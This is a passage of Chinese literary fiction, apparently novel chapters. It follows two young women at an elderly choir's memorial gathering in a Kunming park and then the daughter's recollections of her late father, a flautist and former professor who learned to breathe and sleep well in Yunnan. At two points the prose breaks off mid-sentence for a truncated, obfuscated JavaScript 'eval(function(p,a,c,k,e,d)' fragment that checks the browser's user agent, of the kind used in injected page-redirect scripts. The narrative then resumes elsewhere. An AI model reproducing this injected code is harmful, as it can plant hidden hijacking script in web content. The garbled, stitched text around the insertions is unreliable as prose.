1995年发行的《中华民谣》,前面唱“朝花夕拾杯中酒,寂寞的我在风雨之后”,似乎有些哀怨,但继续唱下去,后面的歌词就很开阔了:“南北的路你要走一走,千万条路你千万莫回头。苍茫的风雨你何处游,让长江之水天际流。”小时候听这首歌时,二更只是个小学生。印象之中,这首歌最初在某年春晚舞台上登场,开场画面是一群喜气洋洋的小女孩。这些年,她总觉得这是一首儿歌,从没认真地看过歌词,如今再看才发觉,这是一首给成年人的哄睡曲啊。 《烟雨唱扬州》是一首江南民歌,也是二更小时候看过的经典电视剧《上错花轿嫁对郎》的片尾曲。她记得歌词里唱,“雨绵绵情依依,多少故事在心里”,似乎在唱情情爱爱,她也很少专门找出来听。如今又看歌词,“姻缘桩桩似线牵,万事幽幽当自立”。这首女声演绎的民歌,三观原来正得了不得。再有,《珊瑚颂》里的渔家女不畏强权,“云来遮,雾来盖,云里雾里放光彩;风吹来,浪打来,风吹浪打花常开。” 那天起,二更也试着放着老歌午睡,效果果然很好。《烟雨唱扬州》有很多版本,除了人声歌唱版本,还有民乐独奏版本。有那么一段时间,二更至少从听觉上,变成了一个扬州人。伴着催眠曲入睡,睡眠质量噌噌提升,脸都红润了不少。 此刻,小八嘎平稳地行驶着。二更和姜籽各自戴了一只耳机,听着同一批老歌。当一首演员宋佳翻唱的《红梅颂》放完时,黑龙潭公园到了。 走过一座蘑菇形状的小亭子,路过藏在花草里的两、三只兔子,沿着一条僻静小路,两人来都麻栗坡。那棵高大的麻栗树下,歌友会刚刚开始。 过去,好友团每次聚会,都要在林间小屋的两根柱子之间,拉一道麻栗果果好友团的专用横幅。这次,没有横幅,小屋门口立了一个人形易拉宝。上面没有老周的正面照,而是一张看不见人脸的侧身远景照:在与小屋隔水相望的一座八角飞檐亭子里,一个人在吹笛。这便是周至柳了,他是好友团里的笛子手。 小屋里坐满了老人家,姜籽和二更只能站在外围。麻栗树过滤了原本刺眼的日光,落到来客们身上,只剩下星光般的柔和,像是给每一个来新的客人递上了一杯温开水。 这次,二更可以近距离地看到唱歌的老人家,听到她们的歌声了。虽然不是翠湖边桂花树下的那一群老人,但两个歌友会的成员们有着相通的气质。 她看她们脖子上密密麻麻的颈纹,也看到了她们系着的优雅小丝巾。她看到举着歌词本的皱纹清晰的手,也看到了阿姨们涂红了的手指甲。她们涂的颜色都很正,少有年轻人喜欢的清冷色。歌,都是抒情老歌。大家轮着走到小屋正中心的舞台 -- 没有任何装置,那片中心空地,就是舞台。每个人唱完,其他人都会善意地鼓掌。哪怕歌喉欠佳,音准勉强,声音抖动,也没什么,大家都能包容。来这里的人有个共识,没有人是为了单纯唱得好听而来表演的,大家是为了唱得真诚,娱乐自己也抚慰同伴而来的,只要勉强唱到及格线,基本入耳,就足够了,偶尔跑跑调儿也没什么。 一个阿姨唱了首《一条大河波浪宽》,歌声不完美,情感很饱满,于是赢得了掌声。阿姨穿着精致,酒红色连衣裙外套配米白色长风衣,蕾丝包边袜子配小皮鞋,像琼瑶书中上个年代的小家碧玉。她下一首又唱了《问情》,古早电视剧《戏说乾隆》的主题曲,发行年代大约在1991年前后。“爱到不能爱,聚到终须散,繁华过后成一梦。海水永不干,天也望不穿,红尘一笑,和你共徘徊。”阿姨声音有些抖,但情深意切。许多人跟着唱,让这首歌在柔情与遗憾之余,更多了一种温厚和洒脱。 接下来登场的是一位身着蓝色套装,头戴白色贝雷帽的阿姨。她用女中音唱了一首《新鸳鸯蝴蝶梦》,1992年前后流行的老歌。“昨日像那东流水,离我远去不可留,今日乱我心,多烦忧,抽刀断水水更流,举杯消愁愁更愁,明朝清风四飘流。看似个鸳鸯蝴蝶不应该的年代,可是谁又能摆脱人世间的悲哀,花花世界鸳鸯蝴蝶,在人间已是颠何苦要上青天,不如温柔同眠。”阿姨底气浑厚,歌声很稳,这种气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“但这些歌很好听”,姜籽说,“如果大几岁意味着对它们更熟悉,可以跟着唱,我也是愿意的!” 要继续传递歌本了,两人看看四周,外围听众里还有几个年轻人。今日,她们穿着简装,表情都十分虔诚。二更将歌本递过去,一个女孩开始认真看起来,另一个女孩则小声地和二更聊起来老周。 半年前,她们在这里和老周相遇时,穿着漫展上夸张的古风cos服,也是一些人眼中的奇装异服。黑龙潭公园每年四、五月份,半山腰会绽放出一片杜鹃花海。古风coser会结伴来摄照或拍视频。有些年轻人还会带着角色曲的伴奏,来现场营造更逼真的氛围。那天,年轻人因听到亭里吹笛的清亮声驻足。当她们问老周是否可以为她们现场吹奏一段曲子时,抱了大概率会失败的心态。没想到,老周应允了。 他吹的曲子,一段取自《无羁》,一段取自《何以歌》。女孩们拍摄的视频里,coser也吹着笛,但是并没有真的用气。老周也在视频结尾,以亭中侧影的方式出现了。女孩们尊重了他想要低调的意愿,但为表感谢,结尾正式出现了老周的名字,并声明了他才是真正的吹奏者。当然,书名就只是“老周”。 年轻人至始至终都不知道,这位老周,曾是京城名校的教授。他就是这样,低调平和,不会见了谁,就要把自己的前半生掰开了揉碎了讲很多次,恨不得所有人都知道他的丰功伟绩。“但要是早知道了,我们或许更没办法鼓起勇气去问了,”女孩感慨道,“最怕的就是老师了。但他不一样。老周,太好了。” 快到下午四点半了,二更觉得天还很热,歌友们却要散了。这个时间,她们坐上公园门外始发的公交车回市区的家,刚好能赶上一顿热乎饭。 散伙之前,阿姨们有个分零食的固定环节。一个阿姨把带过来的小橘子、香蕉给大家分分,还有个阿姨帮大家一一回收香蕉皮,还有人会把苹果削好,用水果刀分成几瓣,分着一起吃。所有人的动作都不快。起身、收东西、丢垃圾,都不着急。他们年纪都不小了。临别时,所有人都会跟周围人一一挥手,不落下一人地说“明天见”。他们说“明天见”时,也不急,很真诚。 二更和姜籽目送着老人们一一离开,看着她们彼此短暂地道别。二更觉得,这是今天最后一首歌,像一首温暖的哄睡曲。她们今晚,大概都会很好眠吧。 人群之中,有一个阿姨没有走,朝姜籽挥了挥手。她抱着一只香槟色摇粒绒泰迪,戴着一顶绢花鸢尾紫小礼帽。这便是云木香阿姨了。 “早些年,我其实看上这个老头子了,还去他家送过几次我做的水饺。北方人嘛,是不是都喜欢吃水饺?可惜,”阿姨叹了一口气,“人家好像没意思。好在,他对所有人平等地没有意思。所以,我也没放心上。如今,多年过去,我们早就处成了好朋友。他这一走,我们心里都空唠唠的。”云木香用拳头轻轻地捶了下胸口。 “他气息很好的”,旁边一个收拾东西的阿姨探过头来说。”我们唱歌不稳,都跟着他学气息。“他吹笛子,很懂得用气。” “最开始,他跑过来听我们唱歌,总是不说话。我看这老头长得文质彬彬,过去问,他说,在听他的什么......露落拜”,云木香说,“但我们谁也不知道,他要找的这个露什么,露落拜是什么,也不知道他的露什么,找到了没有。” 说罢,云木香的视线朝向了人群中边角的一位女士,“喏,那是她的女儿。” 石龙芮,周至柳的女儿,名字随母,性格随爸,所以,话也不多。她带着黑框眼镜,看上去有40多岁,那张脸干练而清冷,不笑的时候很严肃。今日歌友会全程,她一直在微笑。这一抹上扬的嘴角改变了她的气质,她是邻居家的姐姐,让人感到亲切。 02 这口气,终究是吐出来了 “这是最好的讣告”,石龙芮说。 她早些年生活在北京。父亲离开京城搬到昆明后,她只能每个月飞来看一次。这几年,因为老周年纪渐长又执意不回北方,石龙芮只好千方百计地来云南。她从事珠宝设计行业,所在的公司长期和地方博物馆合作,她的工作是以当地文物元素为灵感做玉石珠宝设计。借着公司开拓西南市场的机会,石龙芮于前年调至成都,往来昆明就方便了许多。 周至柳去世后,作为女儿,她没有发布什么消息。父亲对京城往事心灰意冷,她亦无意再经营父亲已然抛弃的人事。 但不知谁走漏了风声,竟然有不少他过去圈子的人热衷书写“我和周老师三四事”类型的追忆文章。父亲在时,据她所知,这些人从未探望。石龙芮在手机上看见了,都匆匆划过。 歌友会的朋友们发到老周手机上的讯息,她会看。 这些人的微信名字都被老周备注了一个类似麻栗果实的表情,很好认。一个老友发来了一段视频。视频拍在翠湖边,一个奶奶抱着孙子和老周一起坐在湖边。老周一边吹笛,一边偶尔朝着小朋友做做鬼脸,逗她开心。小朋友乐得手舞足蹈,用藕节似的小胳膊打着节拍。旁边两个更大的小女孩已经能站立了,她们像在玩萝卜蹲的游戏,跟着节奏,蹲下起来蹲下,何尝不是在跳舞呢?老周和视频里的人们只是偶遇,好友帮他拍了这一段,发送时,配了四个字,“国泰民安”。石龙芮反复把视频看了多次,配着一个有点宏大的词汇。但她不觉得怪异,那种和乐的氛围,真的就在这个视频里,父亲还是主角。 “我爸这些年过得挺好的。”石龙芮似乎在给这场歌友会做一个总结。 19. 第十一课(下)周至柳 他在找他的露落拜 人群散尽,林间小屋只余四人。云木香阿姨也留下了,泰迪乖乖地跟在她脚边。四人本想移步老周常吹笛的隔壁亭中小坐。但此刻,亭子里有一个人独自拉起了小提琴。水光把琴声映得很清澈。四个人一只小狗便没有去打扰,坐在林间小屋,静静听了一会小提琴。那是《梁祝》。二更在梁祝婉转的柔声中,想象着老周过去在此吹笛的画面。给歌友会的演唱者伴奏时,是和乐,独自在亭中吹笛时,他独乐。 此时的麻栗坡开始起风了,麻栗树比刚才人多时明显有了不同,果子们加速了下落。 “他浇花的水,他叫它,‘快乐水’。是院子里他浇花的水壶上,贴了标签纸,上面写着‘快乐水’。其实就是自来水。”石龙芮笑着说,“你看,他在昆明这十年,过得挺活泼的。” 啪叽,一只麻栗果子新落在地上,滚到二更脚下。二更捡起来。麻栗的果实和外壳是分开的,外壳带刺,一面看像海葵,另一面看像太阳。果子握在手心里,二更忽地生出了一段记忆--它来自此刻说话的石龙芮。 - - 周至柳来昆明后,住在一栋两层三角屋顶小红楼里。周边的小楼,基本上都是茶铺。父亲相当于在一条老街上租了个适合做铺面的地方,自己住。她一直不太明白,父亲为什么要住在这里。 街上几家老式的茶铺与茶楼,安静雅致,有在老街上呆了多年逐渐养出来的生活气息。倒也有三家是年轻人开的新式茶水铺,不过,装修风格默契和前辈们保持了一致。石龙芮来的第一天,碰上昆明降温,一家叫“菩提茶野”的新铺子门外挂着牌子,粉笔写了一首小诗。 《寒夜菩提暖》 寒夜风冷,菩提茶暖。春风柔和,温息绕心。 这街,确实有点意思。后来,石龙芮发现,她每次出来或是回家,街上都有人,但又没有太多的人。茶铺嘛,来的人不多,但每日总有那么一些客人过来喝喝茶、摆摆故事。周至柳不会寂寞,也不会觉得被过分打扰。 每座茶馆的院里都有一些植物,它们大多被摆在门前的台阶上,常见的有天竺葵、仙人掌、朱顶红、紫叶吊篮。一家开得最久的老店门前,一品红竟然能够长成一棵树。一家年轻人开的新式茶楼门前,放着全套侍弄植物的工具,有园艺手套、小铲子、花土、椰砖、花土整理垫,看上去也许下了一些关于植物的长久志愿。卡在中间的那几家开了两、三年不老不新的店铺,通常在长势不错的植物中,会夹杂着一、两个有点蔫吧的小可怜,也会有一两个空盆。这很正常,四季流转,植物有自己的轮回,有时好,有时坏,慢慢养,还有起势。这些静静放着的空花盆,关乎长情、耐心,一些植物在它怀中衰老,一些植物也会在这里新生。石龙芮渐渐明白,时光就养空花盆里。 周至柳也在门前和院子里养花,那只快乐水的水壶上的字体,是用美术勾线笔仔细写出的柳体。父亲的字,还是那样好。 周至柳做学者时,研究方向是古代农学发展。来到昆明后,这里每年金秋,几个公园都有菊花展。他因此爱上了菊花。几年下来,他整理出一个全是菊花的相册,题了字,“携壶酌流霞,搴菊泛寒荣。” 石龙芮翻开相册,就被这乱花渐欲迷人眼的盛大花谱惊诧到了。她从没想过,菊花可以长像螃蟹脚、像空心薯条、像挂面、像昆虫的触角。菊花原来有千万种姿态,她能理解的,还有彻底超越她想象力之外的。 比如这一朵吧,像自然派的舞蹈天才,依循身体最自然的需求,伸展,探索,张扬,只在花瓣的收尾处,留有一点点恰到好处的收敛。一朵花开得恍若一支优雅的舞蹈,有篇章的顺序、情节的舒展、适时的收尾。而那一朵,像优雅女性盘起来的发髻,自然地垂下几缕发丝,还带着烫卷过的痕迹。盛花期过了,她有些倦怠,发髻有些松散,边角不再十分整齐,但依然十分美好。当然,也有如元气饱满的少女那般气质的,它们往往不喜规整,尽显天真,不讲求秩序,好摆弄拳脚。 菊如美人,各有性格。有的头顶一片叶子,遮一遮娇羞的心。有的含苞未放,花瓣还在蜷曲着,像小孩子的乳牙,又像雏鸟的头锁进母亲的羽翼里。有的雍容华贵,但又不让人见她最真切的面貌,只用一条条花瓣向你伸出邀请,去探索色彩的奇妙渐变。有的并不耀眼,花瓣层层叠叠,但再小的花瓣,尾端都能承接住精小的水珠,都能显现出它生命排布的特色。 无论是热烈的,茂盛的,还是繁密的,奇异的,每一朵菊花都是单头的,都是独自生长的,每一个都充满了生命力。但它们又可以这样被摆放在一起,热热闹闹的,谁都不干涉谁的盛开。 石龙芮猜测,这大概也是周至柳迷恋菊花的缘由。父亲从青年时期,就是一个喜爱独来独往的人。只是年轻时要背负的东西太多,不得不在人群里周旋。年老了,离开了利益场,他反而可以更自由了。人一放松,天地自然宽广,此时的他,一方面,能够在小亭里独奏,也能从容地为朋友们伴奏了。 因为爱菊,周至柳与黄越山成了好友。 石龙芮见过黄越山,一个笑起来眉眼很像弥勒佛的大叔。他精通花草培植繁育,是云南省农科院的专家,很擅长做菊花的杂交。他老婆憎恶他爱菊花更甚于爱家,无奈、失望交杂之中,带着孩子走了。黄越山因此常年独活。他喜欢去郊野找野生的菊花,因为这些菊花有明晃晃的金黄色,用这种艳丽的颜色跟其他的菊花进行杂交,杂交出的品种便有了明艳的渐变色。从黄昏到余晖,再到彻底日落之前的任何一种色调,都能从他手中实现。 他是最会和菊花聊天的人。有了他,周至柳才见识到很多不同种类的菊花,过上了案几上供菊花的清雅日子。周至柳用自己的方式表达了感谢,黄越山想做一本中国菊的花谱,周至柳特供了一版柳体手抄版。在书写半江红树、华峰烟雨、凤凰振羽、清江碧波、国华越山、玉龙闹海、灯下武娘、盘龙尽染等这类菊花的雅号时,周至柳的心中,也盛开出一场菊的宇宙。 因为要好,黄越山一度搬到了老周隔壁,他们把院子的围墙拆了一段,改成了一排毛竹。天然的屏障够亲近,也有分隔。如果要找对方,就拍竹子,竹子嘎嘣嘎嘣嘎嘣地响,替人说话。老周知道他在叫他了,就出来,两人一起去翠湖遛弯儿。 翠湖旁边有一棵枝干粗壮的香樟,很体贴地伸出了一枝健壮的分枝,有一小段几乎与路面平行。很多人喜欢把它当单杠用。两个老头走到树下,会伸长手臂够一下,打个滴流,再下来。粗壮的树干高度刚刚好,它不在乎两个老顽童的日常嬉闹,像一个母亲看着两个孩子打闹。 周至柳还跟着黄越山学会了一些,不算好的毛病。他们路过一株铁树,黄越山会薅一根老了的针叶,到了没什么人的地方,一边看水,一边当牙签来剔牙,把吃米线塞进牙缝里的肉丝踢掉。如果是以前的周至柳看到这样的画面,或许会整个人崩溃掉。然而现在的他,会跟着身边可爱的朋友也薅一根针叶,也找个没人的地方,一起剔牙。 - - “他是真的变了”,林间小屋中,石龙芮感慨道。 “我来看他时,打开冰箱,都是香香的,总是有新鲜的水果。这是一个歌友教的。买新鲜水果,放在冰箱里,冰箱里干净清香,人也是清醒干净的。还有人教他去咖啡馆问店员放一些咖啡渣,放在衣柜里、卧室里,万一人因为年老新陈代谢慢,生出一些味道,咖啡能遮味。我收拾房子时,发现厨房里,调味料都写着标签,水壶上写着‘人生快乐水’,浇花的白色水壶上写着‘快乐水’。这大概也是哪个朋友教的吧。 那天,我看着他和一个正在用竹叶编大扫把的阿姨在聊天。也不算聊天,他们不认识,他致死默默看着她编,偶尔问几句。他还有个朋友,老唐,喜欢在公园里用很大的毛笔蘸水,在地面上写诗词。他们经常一个人写字,一个人吹笛子,相处得很和谐。想不起来写什么了,就问他。他就抄好一张纸,带过来给他写。“吾亦澹荡人,拂衣可同调。”老唐看不懂,但老唐愿意写,这也很好了。 我觉得我爸这一点很好。我看他们学院里很多老师都高高在上,有种‘我当了个高知,就厉害得不行了’的臭脾气,那是我最讨厌的学者的类型,骨子里就看不起普罗大众,觉得他们要被普渡、要被教化、要被启蒙。我妈就是这样的。她从来不跳广场舞,觉得那些阿姨们‘沉迷于低级趣味’,不如她高雅,去跳广场舞,就是拉低身价。放屁!我真不知道她哪里来的傲慢。结果呢,人家老太太们个个精神头好得很,她年纪不大一身病,死得很早。要我说,她要是能和人家跳广场舞的那些阿姨们一样,每天动动胳膊动动腿,接接地气好好生活,才不至于不到60岁就走了。 我爸不同,我爸是个心很软的人。我小时候觉得,我爸应该是我妈。他是个很温柔的人,心软到有时候路边看见保安踩在高架子上遮棚子,都忍不住停下来看一阵,生怕人家踩不稳掉下来。我常笑他操闲心。长大后我明白,这其实是我很走运,我碰上了一个内心温和,十分良善的父亲。但他也有缺点,心里想太多,五、六十岁时还经常失眠。心思太细腻了,忘不了一些小事,放不下,闲不住。 好在,这些年,他有了许多爱好。最有用的大概就是和云阿姨她们一起听歌、伴奏了。听老歌,吹笛子,那个露......lullaby,我想,他已经找到了吧?他这几年,睡眠质量很好。他执意不回北方,最初我以为他有老伴。后来我才知道,是他自己有了露落拜。”石龙芮用余光扫了扫云木香,多少有些遗憾的意味,“所以,真的要好好谢谢云阿姨。” “除了唱歌,他还喜欢散步”,石龙芮又道,“昆明也是很适合散步的城市了。不过,他散步时,有时候和人一起,有时候自己。他自己出门的时候,从来不和我说会去哪里。” 啪叽,又一只落果滚到了二更脚下。她像得到了某种神秘的通知似的,再次俯身捡起,将果子轻轻握在手心。这次,一段关于“呼吸”的记忆,来自于周至柳。 - - 从北京到昆明两千多公里的距离,不算远。三、四个小时的飞机,就到了。至少周至柳第飞来昆明时,不觉得远。 京城,是他的败场,虽然他没有错。那场学术场里的纠纷,起初与周至柳毫无关系,只源于他所在的高校里一位德高望重的教授的风流韵事。而后,又牵扯他麾下弟子,另一位老师长期掌控学院权力、奴役博士生为免费劳动力的纠纷。 他所在的学科,本就是一个小众的农学学科,师门多是姻亲关系,利益更是关联在一起。一时间,师门内外,乃至学术期刊编辑们,都要为各方大佬证言,舆论战场一团糟。周至柳是第三门派,又称无门派,因为一直研究几位历史上曾被打压排挤的人物,研究方向不主流,研究资金不充足。作为学院里的边缘人物,周至柳并不想参与是非。 岂料这唯数不多几个不发声的人,经过一番有心人的运作,反倒是成了转移舆论焦点的靶子。强逼站队的形势下,周至柳不想说话,不做任何解释,不求任何人帮忙,索性远走云南。周至柳告病远走之后,斗争两方仍撕扯不断,最后两败俱伤,一个专业分成了两家研究所,分类于不同的专业大类之下。原本在高校排名榜上数得上的专业,有了颓然之气。 周至柳不涉纷争,却也落了哮喘病恶化的结果。心有郁结,加上身体欠佳,他独自搬到了昆明,也谢绝了所有故友的联络。 起初,什么事都不做,只是散步。天暖和的时候,他就用饭盒带一个削好的苹果,天凉的时候,就带一壶老白茶。 寻常一晚,来到翠湖公园,他遇见了一个在桂花树下唱歌的人。树下坐了许多人,听着他唱着几首老歌,唱得并不十分好听。唱歌的人却丝毫不怯场,听歌的人也不说什么。周至柳在岸边听了很久,很羡慕他的从容不迫。 坐了一会,他起身,往更僻静的地方走。湖边香樟树倒映在水中,像一个巨大的晃动的西蓝花。他朝着那一排西蓝花,往里处走,渐渐地,歌声便听不见了。湖边越来越静,路灯昏黄,不仔细看,轻易发现不了什么人。 所以,他差点碰到一个人。 有一个人打坐,呼吸很轻,轻到轻易不会被人发现。周至柳连忙道歉,幽暗灯下,看清楚了,那是一位女士。 对方坐起来,歇了一会儿,才缓缓说道,没关系。这几秒钟,周至柳十分紧张,呼吸异常局促。 “你呼吸声很重啊”,女士道。 “但您呼吸声太轻了,我都没有注意到。”周至柳又一次道歉。 “呼吸可以慢慢练。练着练着,就轻了。”女士说。她眼神似乎也不错,看周至柳年纪也不小了,更实在地说,“对一些疾病也有帮助。” 机缘巧合下,周至柳有了一个“师傅”,教他呼吸。 人生在世,就在呼吸之间。很多人并未觉得呼吸有多重要,呼吸作为一种生存的习惯,早已如空气一般,“不存在了”。但事实上,很多人也会被错误的呼吸模式不自觉地困扰着。疾病、环境、情绪、营养等多种元素都会造成呼模式的改变。错误的呼吸方式有可能会牵连出忧郁、焦虑、恐慌等情绪,或引发头痛、肩痛、腰痛等身体各部位的疼痛。 “空气和食物和水都要重要”,师傅说。“空气没有重量,难以测量,所以最容易被忽视。就像情绪一样,没有重量,然而人类的很多苦痛,是勾心斗角导致的不良情绪导致的。所以,我们要和空气和平共处,我们要好好学习呼吸。” 第一次跟着师傅练习打坐,周至柳学会了专注此刻,用五官感受周围,用眼睛看,用耳朵听,用舌头尝,用鼻子嗅,用身体去感触,忘掉这一生积累的分析和批判,回到第一次看到世界的婴儿状态。睁开眼,他感到无比放松。他开始重新呼吸了。 针对他的呼吸疾病,师傅也提供了一些更日常的训练呼吸的方法。第一,打太极拳,并练习呼吸,逐渐地达到让别人觉察不到呼吸,呼吸不会打扰到自己的程度。 第二,睡前练习腹式呼吸。摸着自己的肚子,感受吸气时肚子轻微浮起,呼气时肚子缓缓瘪下。起初,周至柳掌握不好,师傅就带他在翠湖公园里找小孩子,远远地细细观察宝宝车里睡着的小孩子的肚子,一起一伏,完美的护腹式呼吸,衣服上的小动物耳朵也会随着肚子的起伏,微微张开,缓缓落下。周至柳在睡前都会回想小宝宝的样子,自己不断地练习腹式呼吸,甚至,为了复刻小宝宝衣服上小动物耳朵一张一合的姿态,他会在肚子上放个小玩偶。困扰他多年的失眠、浅眠问题,竟然在这一呼一吸之间,得到了极大的缓解。 第三,屏息练习,可以在散步时进行,也很适合周至柳。他在走路呼吸比较平稳的节奏里,试着屏息2~5秒,接下来再正常呼吸,如此反复练习。师傅说,善行无辙迹,尽量轻轻落步,保持身体的轻盈,同时调整呼吸,尽量全程鼻呼吸。过去,在京城,周至柳很少无忧无虑的散步。现在没事了,整日的时间都可以拿来散步,他心情舒缓得很。一边散步,一边练习呼吸。一会儿,看看园丁用浇花的大水管喷出一道彩虹,一会儿,看看湖中心划船的清洁工人熟练地用鱼篓子捞落叶,时不时地,脑子里还总有美妙的想法冒出来。这一点,不爱散步的人,一定理解不了。 待到周至柳把这三种练习方式都掌握了的时候,师傅建议他,“那就再唱唱歌?或者,学个乐器,笛或者箫?”这话说完不久,他就再也没见过师傅了。两人的师徒缘分,开始得很突然,相处得很随意。总是周至柳找来,遇见了,便聊几句。都是中肯又实用的话,凑在一起,短短几句就说完了。至始至终,周至柳也不知师傅的姓名与更多其他具体的信息,旁人也不知道他有这样一位师傅。 也就是他了,这样也能认到师傅。周至柳就是这样的人,所谓君子之交淡如水,大抵如此。他年轻时喜欢爬山,有时在山头上,见到不远处的山头上也坐一个人。若是别人,或许就叫一叫,打个招呼。若是在西南的少数民族里,大家肯定要喊一喊,对一对歌。可周至柳呢,不言不语,就只和人家这样彼此坐着。就这样,他竟然也交到了一位道友。两人差不多都会在每月的某一天爬山,一个爱爬这西边的山头,一个爱爬东边的。两人偶尔相遇,认得彼此,也不言不语,就各自坐在山头上,坐一会儿。偶尔,朝彼此挥一挥手。 周至柳就是一个能交到这种朋友的人。不知来处,不问姓名,也是朋友。若反推,或许,他如此交到的朋友与师傅,也是别样的人吧。 - - “我也喜欢跟着他散步”,石龙芮说。二更眼前的画面,又适时消散了。“但他似乎,不太喜欢和我一起”,石龙芮无奈地苦笑道,“只有偶尔为了晒晒太阳,打坐的时候,勉强愿意带一带我。” “他喜欢在文庙正中间的小广场上晒暖。心中有事时,就来这里。有些事情,就是突然在这处广场里晒着太阳想明白的。所以他说,这里风水好。风水好?我不是很相信,因为小广场旁边就是文庙的公厕,虽然很干净,但总让我对这个结论不是十分信任。 但我有一次,有个设计作品想不太灵通,无计可施了,就跑去那里坐着。广场人不多,是个周末,隔壁文化室里有人在排练歌曲,名字叫‘打歌’。名字有点好玩,但旋律很柔和。 那天,我闭上眼睛,让阳光晒着自己,开始在眼前的黑幕里,去试着重新修改那张设计图。感受眼前各种自由散漫的光点,大脑变得干净了许多,然后我真的找到了解决方法。那时,我在设计一款荔枝花鸟图样的耳钉。要鸟,又不能只有鸟,鸟儿们要站在挂满红果子的树枝上。左右不要对称,一只鸟将将落下,踩着细枝起伏,如水中浮舟荡漾。一只鸟轻琢玉珠,像一只太阳鸟发现了一颗刚巧裂开了口子露出白肉的荔枝。 睁开眼,我前面有一对老闺蜜,一边聊天,一边吃酸奶干。很自在。我要走时,还有人来,彼此打招呼。一人说,‘今天你来得晚啊’。另一人答:‘还好,晒个太阳底子。’原来还有太阳底子这种说法。 那时起,我也偶尔会打打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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除了船,他还办了湖上充气水球的年卡。圆柱形的水球,中空,小孩子可以爬进去玩,手脚并用推动水球前进的水上游戏。周至柳会像个小孩子一样,从中间的洞里爬进去,然后躺着,晒太阳,任其在水里飘荡。 看场子的大叔原本见一个大人还是老人,是不给进的。结果看他只是晒太阳,甚至定时来,像遛弯点卯一般,渐渐也就当个朋友处了。水球的一边是用绳子固定在岸边的,大叔还给他留了最边上的那只,湖面开阔,几乎不会被其他的水球,尤其是小朋友努力滚动的那几只水球打扰。他可以安安静静地在水上晒太阳。 无论是船,还是水球,都像湖中的一座小巧的孤岛,被太阳晒得很暖。周围游客们的小船也很闹腾,时不时经过。有时候,是一对小情侣,有时候是一家人,老的小的都有。大家的架船水平都一般般,他又停船不开动,难免被偶尔碰到。点头,示意,没关系,彼此相遇,又慢慢远离。其实,他这艘小船也不冷清。他和他的小船,随这个世界的水波一同呼吸。 在这样,某一日,他又晒暖,停船于湖中,时不时对这个世界点头致意。落日归家后,周至柳在这天晚上安详地离开了。 他的呼吸逐渐缓慢,直到彻底地平息。 呼吸,是一个人和自己沟通的最隐秘,又最日常的方式,它甚至比语言还要贴己,直击生命的本质。从生命之初,它就和人建立了紧密的关联,终止于人的离去。在云南,周至柳重新学会了呼吸。在一呼一吸之间,崩坏的内心秩序重新建立起来,内心的郁结缓缓化解,对真善美的体悟又变得鲜活。 呼吸,是一个人陪伴自己、重塑自己、安慰自己最好的方式。会呼吸的人,永远不会寂寞。如果一个人要找一首lullaby,一首最终极、最简单的哄睡曲,平复内心的思绪,抚慰平生的不甘,翻越过往的种种,哪怕只是为了一夜好眠,不妨,试试呼吸,重新呼吸。 - - 二更感悟着这段经历,她觉得低语倾诉的人有些熟悉,却又无法判断究竟是谁,什么样子,何种气度。她在这段奇妙的往来中,不自觉地放慢了呼吸的频率,这样简单又极致的一呼一吸,彷佛一场好眠,让人的身心无比放松和澄澈。 “他是憋了一口气来昆明的。还好,这口气,终究是在这里,松口了,吐出来了。”石龙芮幽幽道。 父亲去世后,石龙芮请了假,在父亲住过的家里小住。 院里有一把这几年来她躺过的最舒服的椅子,以至于,忙于处理后事的她竟然在这里躺着躺着就睡着了。石龙芮做了一个很悠长的梦。梦中事,醒来已忘,只觉得疲倦尽消,呼吸平顺了许多。自父亲去世以来,她在这里,睡了一个最舒缓的短眠。 醒来,已入夜。深蓝色的夜空里,几抹浓淡有致的白云,白得不像话,不像真的,像老天爷在撒谎。多天真的大自然啊,每天都像新的。她好像明白了父亲在昆明活得开心的原因。所有的云南人都会跑跑跳跳,太阳光下跳舞再正常不过了。一年收尾,活干完了,钱赚到了,穿着好看的衣服去外面跳舞,再正常不过了。舒适的气候,好吃的牛羊肉,甘甜的小白菜,他还有一个好友团,几位可爱的好友,甚至,不为她所知的际遇。父亲把这口气吐出来之后的生活,应当是可爱的。 林间小屋里,石龙芮娓娓道完老周的过往。几只落果在二更手心里摩挲,摆成一排。姜籽又递给二更一个落果,壳有些扎手,接过来时,二更灵光一闪。这次,眼前的画面,来自她自己。 - - 二更的至亲,母亲和姥姥在她念大学之前就已经都去世了。她很早就封闭了关于死亡的神经。直到某一次,救助一只气息奄奄的流浪猫,输液三天仍未救回它的那天晚上,二更身上的某个开关被打开了。 是恐惧,一种抽象的恐惧,任何一种美好的东西都可能离开她的那种恐惧。说来也怪,这并不是什么惊天大事,比不上至亲的离世、信念的崩塌,但它就像是没有任何预兆撞击到汽车挡风玻璃上的一只鸟,炸开了二更封存许久的关于失去的恐惧。她失眠了。 为了安慰自己,她不断地念着一句话,“会有神灵来爱我,会有神灵来爱我”,思绪渐渐放空,她放松呼吸,在纯粹的一呼一吸之间,终于睡去。 哦,原来,她也曾经,有过这样的露落拜。只是,当第二天醒来,一切还在,理智重新占领思绪时,她匆忙地忘记了昨夜,她曾习得的重要的一课。 好在,今日,她温习了。至此,就不会再忘了。 - - 半个月后,在云木香的牵线下,桂花树下的那个合唱团与麻栗果果好友团,在石房子举办了一次联合演出。 两个合唱团经常聚会的地点不同,歌友们的喜好也有点区别。麻栗果果喜欢唱舒缓老歌,很多都是经典言情剧的金曲。桂花树下爱唱武侠金曲,也唱粤语歌。两个合唱团常在市区老年歌唱比赛相遇,久而久之,彼此相熟。 这次联合演唱会,不只是为了纪念周至柳。两家合唱团每年都要送走几位成员。有人走得从容洒脱,像老周这样,也有人在病痛中受累。生死有命,谁都逃不了,像老歌里唱得那样,问心无愧就好。在合唱团里唱了弹了多年的老人们,都渐渐地唱出了这份感悟。 